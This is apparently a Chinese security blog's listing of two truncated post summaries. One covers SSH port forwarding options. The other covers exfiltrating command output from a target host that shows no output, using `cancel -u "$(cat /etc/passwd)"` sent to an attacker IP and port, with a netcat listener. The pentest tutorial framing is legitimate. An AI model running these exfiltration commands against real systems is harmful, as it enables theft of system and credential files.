摘要：
SSH 端口转发： SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件，将 GatewayPorts修改为yes -f 后台执行ssh指令 -C 允许压缩数据 -N 不执行远程指令 -R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口 -L 本地端口转发 -D 阅读全文
摘要：
靶机无回显的情况下，可使用 cancel 来把回显发送到攻击机端 cancel -u "$(cat /etc/passwd)" -h ip:port 攻击机用nc来接收返回信息 nc -lvvp [port] 实例演示： 攻击机ip：192.168.0.101 linux靶机端执行 ： cancel 阅读全文